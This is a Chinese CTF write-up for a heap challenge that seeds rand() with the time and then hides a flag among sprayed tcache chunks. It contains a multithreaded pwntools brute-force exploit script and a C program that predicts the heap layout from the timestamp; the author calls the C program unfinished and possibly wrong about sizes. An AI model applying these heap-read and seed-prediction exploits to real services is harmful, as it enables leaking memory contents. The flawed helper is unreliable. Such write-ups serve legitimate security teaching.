题目链接: 本链接加上 ./pwn即可

image-20230512223501172

程序逻辑分析

image-20230512213431688

​ 该程序是根据时间戳为随机数的种子,然后随机malloc和free一些内存,即把堆的空间打乱,然后再去给flag分配内容空间,然后把控制权交给用户,让用户进行操作.

解题思路

思路一 枚举

​ 不论是最开始的打乱堆空间还是分配flag的堆空间,堆块的大小都限定在了0x400以内,也就是tcache的范围. 换言之,堆块的大小有40种情况.

​ flag分配的堆块必定在这40种情况之中,如果在flag分配的时候,正好分配到了tcache中的bin,那么如果知道tcache中的这个bin的空间中的前一个bin的大小,那么就可以去申请这个bin,然后进行show打印,就有可能打印出来flag.

​ 举例:

​ 先随机化分配了一些堆块

​ 0x100

​ 0x40

​ 0x30

​ 0x50

​ 0x40

​ 然后释放了一些堆块

​ 0x100

0x40

​ 0x30

0x50

​ 0x40

​ 申请flag堆块

​ 0x100

0x40

​ 0x30

0x50 flag

​ 0x40

​ 此时,如果能够申请到0x40的空闲堆块,然后进行打印,就有可能会打印出来flag

​ 这种方法存在一定的约束条件:

​ 1.根据tcache的后进先出原则,flag前的空闲堆块需要是最后一个释放的空间,不然的话就要先申请它后面的tcache bin

​ 2.flag的堆块与前面一个空闲堆块的距离要小于show能打印的范围

​ 不过随着尝试的次数增多,总会有满足这两个约束条件的情况,利用多线程,申请0x10,0x20,0x30….0x400大小的堆块,可以满足所有的情况,那么唯一不确定的就是是否符合约束条件,但通过该种尝试,也大大提高了枚举的成功率

exp攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import threading
import sys

def brute_force(size):
p = remote("xxxx", xxxxx)
context.log_level = 'debug'

p.sendlineafter("> ",str(1))
p.sendlineafter("Index: ",str(1))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Data: ","aaa")

p.sendlineafter("> ",str(3))
p.sendlineafter("Index: ",str(1))

recv = p.recv(1024)
while True:
if b"flag" in recv:
print(recv)
break
else:
p.sendline(str(3))
p.sendlineafter("Index: ",str(1))
recv = p.recv(1024)

p.close()

if __name__ == '__main__':
threads = []
for i in range(0x10, 0x410, 0x10):
t = threading.Thread(target=brute_force, args=(i,))
threads.append(t)
t.start()

for t in threads:
t.join()

把输出 重定向到1.txt 一次不一定能成功,一般几次就可以了

image-20230512214621634

思路二

漏洞点分析

​ 随机数种子设置代码:v3 = time(0LL);

​ 对随机数的种子的设置是精确到了s,所以它事实上是可以进行预测的.如果随机值是确定的,那么就可以确定后面分配了哪些堆块,释放了哪些堆块,flag申请到了哪个堆块,flag前面的空闲堆块是哪一个,都可以进行确定

​ 如何就可以获取flag堆块前面的第一个空闲堆块的大小,也可以获取它是第几个.

​ 然后就可以根据时间戳获取确定的解了,就可以算出即将到来的时间对应的解.在时间到来时发送payload即可.

根据时间戳获取flag堆块前一个空闲堆块脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define SIZE 10

int main()
{
srand(1000);
int v0 = rand();
unsigned int v1 = v0 >> 31;
unsigned int v2 = v1 >> 24;
unsigned int v3 = v2 + v0;
unsigned int v4 = v1 >> 24;
unsigned char v5 = (unsigned char)v3 - (unsigned char)v4;

v3 = v5;
void** pre_sprays = malloc(v3 * sizeof(void*));
int *pre_spray_sizes = malloc(v3 * sizeof(size_t));
for (int i = 0; i < v3; ++i )
{
v1 = rand();
pre_sprays[i] = malloc(v1 % 1024);
pre_spray_sizes[i] = malloc_usable_size(pre_sprays[i]);
}

for (int i=0;i<v3;++i){
printf("%d\n",pre_spray_sizes[i]);
}

int *pre_free_sizes = malloc(v3 * sizeof(size_t));
for ( int j = 0; j < v3; ++j )
{
v1 = rand();
if ( ( v1 & 1) != 0 )
{
pre_free_sizes[j] = pre_spray_sizes[j];
free(pre_sprays[j]);
}
}
for (int j=0;j<v3;++j){
printf("index:%d, size:%d\n",j,pre_free_sizes[j]);
}

v1 = rand() % 982 + 42;
char* flagaddr = malloc(v1);
int flagsize = malloc_usable_size(flagaddr);
v1 = rand();
printf("flag size:%d\n",flagsize);


int tmp;
for (int i = v3 - 1; i >= 0; i--) {
if (pre_free_sizes[i] == flagsize) {
printf("%d is the index\n",i);
tmp = i;
break;
}
}

for (int i = tmp - 1; i >= 0; i--) {
if (pre_free_sizes[i]!= 0 ) {
printf("index: %d , size: %d ",i,pre_free_sizes[i]);
break;
}
}

return 0;
}


​ 根据这个脚本可以获取flag堆块前面一个空闲堆块的位置和大小,(脚本有待完善,没有判断是第几个,大小貌似也有点问题)

image-20230512215715328

还有就是可以同时多开几个不同的大小的,一起尝试

技术点总结

1.c语言随机数函数srand、rand的理解

​ 其实这是个伪随机数函数,如果能确定srand的输入,那么随机数的种子就是确定的,rand得到的随机数的值也是确定的.

2.对堆块布局的理解

​ 在没有bin的情况下,堆的申请在堆内存中是连续的,所以堆块之间都是相邻的,如果想要获取一个堆块的信息,可以通过与它相临的堆块的越界读取来获得.